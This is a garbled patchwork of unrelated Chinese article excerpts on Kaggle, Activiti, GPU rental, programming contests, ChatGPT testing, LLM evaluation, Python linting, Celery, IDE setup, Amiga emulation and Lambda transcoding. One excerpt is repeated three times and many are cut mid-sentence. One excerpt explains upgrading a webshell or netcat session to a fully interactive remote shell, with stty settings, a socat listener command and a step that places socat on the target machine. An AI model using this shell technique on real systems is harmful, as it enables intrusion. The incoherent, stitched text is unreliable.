当我想了解最新的机器学习方法时，我可以去读一本书，但更可以去Kaggle上参加一个竞赛，看看人们如何在实践中使用它。对我来说，我觉得这种方法更有趣，也是一种更有效的教学方法。...当你在内核中打开Notebook时，你将看到以下环境： ? 可以将其视为标准的Jupyter Notebook。...你可以像在Jupyter中一样编写Python代码和文本（使用标记语法），并完全在Kaggle的服务器（云中）上运行代码。...在第一个notebook中，我们只使用主要数据，这将得到一个不错的分数，但后来的工作将必须包含所有数据（这样才更有竞争力）。...运行完整notebook的输出 在此选项卡中，我们可以将提交内容下载到我们的计算机，然后将其上传到竞赛中。
Activiti Kickstart App 我们需要一个可用的Java运行时和一个Apache Tomcat安装来部署该应用程序。...Kickstart App 当我们点击Kickstart App时，我们会获得使用Process的选项。我们可以创建/导入流程并从这里运行它们。...当我们在我们的流程中添加用户任务时，我们需要将其分配给某人。我们可以通过单击此任务选项中的分配并选择受理人来完成此操作。...为了能够运行我们创建的流程，我们需要创建一个Process App。 在Process App中，我们可以添加一个或多个Process Definitions。...在我们的示例中，用户任务仍处于待处理状态，会突出显示： 要完成此任务，我们可以单击Complete butto n。如前所述，我们需要输入消息，因为我们必须保留它。
我的 Windows PC 上配置有双路英伟达 Geforce GTX 1080TI，但这显然不够。我在 Google Cloud 上多次租用 GPU，但忒贵了，所以我开始尝试新的方法。...在单个 GPU 上的训练取得了非常好的进展，于是我开始逐渐增加 GPU 数量。结果证明，2、3 个 GPU 也能运行良好，但使用 4 个 GPU 时却失败了。...然后工程师增加了一个电源，问题也就迎刃而解了。此后，我在这台服务器上运行了很多模型，结果都很不错。所以接下来我还会选择租用 Hostkey 的服务器。 设计运转良好的工作流程 ?...这个 API 更适合我，但需要很长时间才能适应。 对此，我得到的经验是：选择一个方法（特定的框架或工作流程）并坚持下去可能是更好的做法。 无法直视的代码 ?...这里当然有很多高质量的 notebook，论坛上也有许多不错的想法，但同时它也存在很多问题： 一些 notebook 中的代码和代码实践存在错误，还有验证问题、想法的错误实现等问题； 论坛中的一些想法存在误导性
竞赛规定每支参赛队伍最多由三名参赛队员组成。比赛期间，每队使用1台电脑，需在5个小时内解决7到13个复杂实际编程问题。...含金量：ACM是目前计算机竞赛中含金量最高的竞赛，也是个人计算机水平及团队合作能力等综合素质的极佳证明。...以后将根据需要适当增设竞赛领域，使各大系列的学生都有充分展示其计算机应用与创作才智的平台。 大赛一般在5-6月进行报名， 7 月中下旬进行初赛，8月中上旬进行复赛。...C++研发发展路线 运行在Windows系统中的应用软件主要是用C++、C#等语言开发的，其中的大部分都是用C++实现的。...router:集群路由 scripts:系统工具运行的脚本。 share:共享信息，err和字符集 source_downloads: sql:服务端的主要代码，包括main函数。
当我们考虑将 ChatGPT 用于软件测试时，大家的意见很不一样。 我们并不怀疑它对软件测试社区的好处，同时，我们也意识到盲目接受像 ChatGPT 这样机器人的每一个输出，也会相当危险。...例如，当我们要求 ChatGPT 为错误消息生成想法时，输出结果并不令人失望。...我们将使用 Google Meet 中的示例：对于拥有 Google Meet 个人账号的用户：会议最多支持 100 人。 我觉得 3、4、5 表达的意思是一样的，但用词不同。...但 ChatGPT 给了我们足够的指南来开始测试之旅。我现在可以阅读更多关于编码、解码器、以及与多媒体的关系。 4. 生成代码片段 它能否生成可以构建在其上的代码片段？...这点似乎没问题，因为我们在自媒体上看到了很多关于 ChatGPT 如何用不同编程语言生成代码的例子。
当我们的评估改进后，一些想法才被发现是好的。当没有可以攀登的单一指标时，良好的评估在训练后尤其重要。...另一个现实层面的因素是，如果希望自己开发的评估基准获得更多关注，你应该积极地帮助或激励别人使用它。 Jason Wei说，他开发一个评估集之后，会主动提出帮别人在上面运行模型。...例如，在训练过程中运行评估时，各个checkpoint之间分数波动很大，研究人员就不会喜欢使用这种评估。 最好有至少1000个示例，对于单选/多选题目组成的评估集，示例数应该更多。...但这也是一把双刃剑。优势在于，得到的单一的数字指标可以衡量LLM在一组通用prompt上的表现，非常简单直观，而且样本级别的噪声可以在大量样本上得到平均。...一个良好的评估发布之后，其中的示例往往会在互联网上流传开来，传播到arxiv论文、ChatGPT示例或Reddit帖子中。 解决方法之一是建立隐藏测试集，但这会带来很多分歧和冲突。
运行以下命令将重新格式化所有的 python 文件以遵循 black 的规则。 black . 步骤 4：flake8 运行以下命令不会修改代码，但会检查代码中的语法问题并将其输出到屏幕上。...更新代码后，在整个存储库上运行 mypy： mypy . 如果 mypy 出现问题，修复它们。 步骤 6：预提交钩子（hook） 一直手动运行 flake8、black 和 mypy 会觉得厌倦。...在下个项目中，你可以在没写代码之前就在第一次提交中添加这些检查。从这个时候开始，每次小的提交都会被检查，你每次最多只需要修复几行代码。这么做开销很小，也是一个良好的习惯。...步骤 4：在 PyPI 上创建一个账户。 步骤 5：搭建一个库并上传到 PyPI 上。...你现在可能还不具备这种技能，但你可以与擅长学术写作的人合作。 下面是我的 Google Scholar 引用情况，这几年引用量的猛增都得益于我写的那些总结机器学习竞赛的论文。
运行以下命令将重新格式化所有的 python 文件以遵循 black 的规则。 black . 步骤 4：flake8 运行以下命令不会修改代码，但会检查代码中的语法问题并将其输出到屏幕上。...更新代码后，在整个存储库上运行 mypy： mypy . 如果 mypy 出现问题，修复它们。 步骤 6：预提交钩子（hook） 一直手动运行 flake8、black 和 mypy 会觉得厌倦。...在下个项目中，你可以在没写代码之前就在第一次提交中添加这些检查。从这个时候开始，每次小的提交都会被检查，你每次最多只需要修复几行代码。这么做开销很小，也是一个良好的习惯。...步骤 4：在 PyPI 上创建一个账户。 步骤 5：搭建一个库并上传到 PyPI 上。...你现在可能还不具备这种技能，但你可以与擅长学术写作的人合作。 下面是我的 Google Scholar 引用情况，这几年引用量的猛增都得益于我写的那些总结机器学习竞赛的论文。 ?
例如，当我们分析闭路电视摄像机时，作为第一步，我们应该使用 OpenCV 读取 RTSP URL，然后我们应该将其存储在云中的某个位置以进一步分析。...但问题是，当我们将帧一个接一个地上传到云端时，上传需要一些时间，不是吗？...Celery 中的组 组原语是一个签名，它采用应该并行应用的任务列表。 下面是一个示例编码，用来解释如何使用 celery 中的组和链技术将帧上传到Google bucket 中。...upload_frames_gcs 函数 ，然后我们可以看到“s ”在celery中传递一个名为“Chains concept”的参数，这允许我们链接签名，结果是“一个接一个地调用，本质上形成一个回调链...最后，我们可以在一个任务中得到一组结果。 第 5 步：如果我们想在 celery 中上传后获取框架 URL，简单地说，在结果变量中就可以获取该组函数的任务 id，我们可以通过任务 id 来获取结果。
一方面，充分利用数据才能得到更高的分数赢得竞赛；但另一方面，结合了数据泄露的模型通常对于实践来说是无用的，所以也不被竞赛支持——因为它们使用了「非法」信息。...在排行榜上名列前茅的参与者有时也会在其中分享自己的成功经验（通常会在竞赛结束前后）。 「Kernel」选项卡基本上是「讨论」版块的应用、代码版，我认为这是对于初学者而言最重要的一个版块。...notebook 中打开它的相关文档； 在任意语句之前输入%time 并执行该 cell，可以输出所需执行时间； 类似地，在任意语句之前输入%prun 并执行该 cell，可以令其在 Python 的代码分析器中运行...旁注：这是一个『贪婪』算法的很好示例，在每一次分割中，算法检查了所有选项，然后选择了在该点的最佳选项，以期望最终得到全局最佳结果。...随机森林简单而高效，当我们用这种方法拟合一个数据集时，就会像上文所述的那样构建许多决策树，只不过每个决策树是在数据的随机子集中构建，且在每一次分割中只考虑独立变量「特征」的随机子集。
Code::Blocks至本文发表时，只出过一个正式版，是2008年2月出来的，所以这个正式版的版本号为：8.02。 对于非正式版，Code::Blocks采用其源代码管理工具svn的代码版本号。...mingw32是g++环境在windows下的一个实现。为了避免版本与路径冲突，最好不要在一台机器上安装两个mingw32。所以本步要求检查一下。...3.3 运行安装程序 3.1 步中，下载得到一个执行的文件，双击后运行,请按照以下说明进行安装。 3.3.1 选择“Full/完整”安装，以免重要插件没有被安装上。 ?...事实上，这也是很多类似IDE软件都需要做的准备工作之一。 虽然在多数情况下这两样配置在CodeBlocks安装以后，就已经正确配置上了。...但是如果这两样配置有误，会带来Code::Blocks运行时的很多奇怪的问题，我们还是直接检查确保一下，同时加以了解。
TOC 一、前言 关于搭建一个博客或个人网站的好处不用我多说，但创建网站的难度可能会让人望而却步。本人从网络上获得过很多帮助，学到很多。...但是用得不太顺手，原因有很多，比如：老是花时间在怎么改网页主题上，而不是专注在写作上；markdown（md）文件中的图片迁移很麻烦，网上的图片老是会丢失；github page 在国内打开很慢而且SEO...因此，一直耽误到现在，但一直贼心不死，想得到一个不太需要维护，可以专注写作，文档可以同步（在别的电脑上也可以编辑），又很geek的网站。...这篇博客主要针对搭建过程中可能遇到的问题进行记录，希望对大家有所帮助。 二、原理 那么如何用静态网页创建网站呢？很多博客一上来就直接讲方法，怎么一步步运行，得到一个简陋的网页。...同时typora还支持picgo的插件，直接复制图片就可以实现上传到云端。不过配置可能会遇到些问题，可以参考这篇博客排坑。 --- 综上，图床是最方便的，但需要点时间配置各个软件。
（2）Dev C++：此软件在10多年前就已经停止更新了，用此编译器打出来的代码不美观，不利于我们形成良好的代码风格。 （3）VC6.0：此编译器是98年的编译器，过于老旧，兼容性差。...这个明显大于五个字节的字符串时，由于scanf 函数并不会检查数组输入的值是否会越界访问，所以当我们在Dev C++/CodeBlocks 这样的编译软件运行上述代码时，程序会正常结束。...但是当我们在VS上运行上述代码时，编辑器会有 Debug Error 的提示，这样可以很好的提示程序员或用户，从而避免输入非法字符串，保证程序安全。...（3）除了 scanf 函数，像 gets、strcpy、strcat 等函数在VS编译器中也会产生相同的问题。...注意：搜索文件时的路径尽量细分一点，就比如当我只在C盘这个大目录下面搜索 “newc++file.cpp” 文件时，搜索很久都没有结果。
当我开始在红帽工作时，我发现一个复古系统周围有一个充满激情的社区，尤其是Amiga。我们在总公司有一个专门用于突破旧系统的会议室，我的红帽里的同事也向它捐赠了游戏并慰问了它。...8bitdo在RetroPie上运行良好，但通过蓝牙在Amiga发行版Amibian和DietPi上运行可能不可靠。我更喜欢带加密狗或电线的控制器，因为它可以最小化延迟，每次都很好用。...如果您有一个工作网络，可以使用FileZilla或另一个SFTP客户机来传输文件。（因为我在Windows下运行Amiga Forever，所以我使用它将ROMs从Windows机器复制到Pi上。）...此外，FS UAE Arcade是一个很好的附加设置，因为它在您的游戏配置文件周围创建了一个信息存储器，使其更容易启动。 要让它们运行，请使用UAE启动器在RetroPie中配置默认系统。...有些游戏需要多个磁盘，有两种方法来处理它们：您可以在模拟器的“软盘”部分加载每个磁盘，或者您可以压缩文件并将压缩文件加载到“软盘”中。当您按下“重置”按钮时，它们将自动提取。
运行以下命令将重新格式化所有的 python 文件以遵循 black 的规则。 black . 步骤 4： flake8 运行以下命令不会修改代码，但会检查代码中的语法问题并将其输出到屏幕上。...更新代码后，在整个存储库上运行 mypy： mypy . 如果 mypy 出现问题，修复它们。 步骤 6： 预提交钩子（hook） 一直手动运行 flake8、black 和 mypy 会觉得厌倦。...在下个项目中，你可以在没写代码之前就在第一次提交中添加这些检查。从这个时候开始，每次小的提交都会被检查，你每次最多只需要修复几行代码。这么做开销很小，也是一个良好的习惯。...步骤 4： 在 PyPI 上创建一个账户。 步骤 5： 搭建一个库并上传到 PyPI 上。...你现在可能还不具备这种技能，但你可以与擅长学术写作的人合作。 下面是我的 Google Scholar 引用情况，这几年引用量的猛增都得益于我写的那些总结机器学习竞赛的论文。
当我们将我们的预测上传到排行榜时，这将是非常重要的。 关键字:推文中的一个关键字，可能在某些情况下没有。 位置:发送推文的位置，这也可能不存在。 文本:推文的全文。 目标:这是我们试图预测的标签。...在下面的代码中，您将注意到我使用了一个set_option 命令。这个来自Pandas库的命令允许您控制dataframe结果显示的格式。...数据清理 对于任何机器学习任务，在我们可以训练一个模型之前，我们必须执行一些数据清理和预处理。这在处理文本数据时尤为重要。...提交成绩 现在让我们看看这个模型在竞争测试数据集上的表现，以及我们在排行榜上的排名。 首先，我们需要清除测试文件中的文本，并使用模型进行预测。...最后，我们将其保存为CSV文件。必须包含index=False，否则索引将被保存为文件中的一列，您的提交将被拒绝。
当我们想使用vim、top等命令时，webshell就无能为力了。 那我们怎么获取一个可交互的webshell呢？...升级nc为完全交互 整个流程是在第一步的基础上，但是需要用到的工具在linux上，所以把攻击机切换为linux。...$ export SHELL=bash $ export TERM=xterm-256color $ stty rows 行数 columns 列数 到这里，就可以得到一个完美的shell...apt install socat # 执行 $ socat file:`tty`,raw,echo=0 tcp-listen:4444 目标机 # 把socat上传到目标机器上或者直接下载...其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩，积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员，下属联合分队数支。
我们也在AWS EC2上尝试建立自己的视频转码服务，成本得到了一定的控制，视频的控制权也增大，但随之而来的是运维方面的挑战。这些挑战表现在： 可扩展性。...如果我们想生成一个文件块，首先就需要解码输入视频中的一小部分，然后将其转码到想要得到的分辨率/码率，最后，将生成的TS文件块上传到S3中。这里面临如下两个主要的挑战。...在Lambda里使用fork创建进程时，子进程会继承父进程的所有属性，这里面也包括了运行着我们代码的lambda沙箱，因此在子进程里常常会意外发现一些自己并未创建过的东西。...图中，我们读入.ts的文件块，在reduce过程中进行加密，并将加密文件上传到S3中。我们将其合并以提高缓存效率，因为CDN中为列表中每个HLS只创建1个对象。这里的问题主要集中在执行方面。...当我们足够自信代码没有问题的时候，我们会更新产品环境中的lambda function的别名，使它指向新版本，这是新代码才开始在产品环境中运行。
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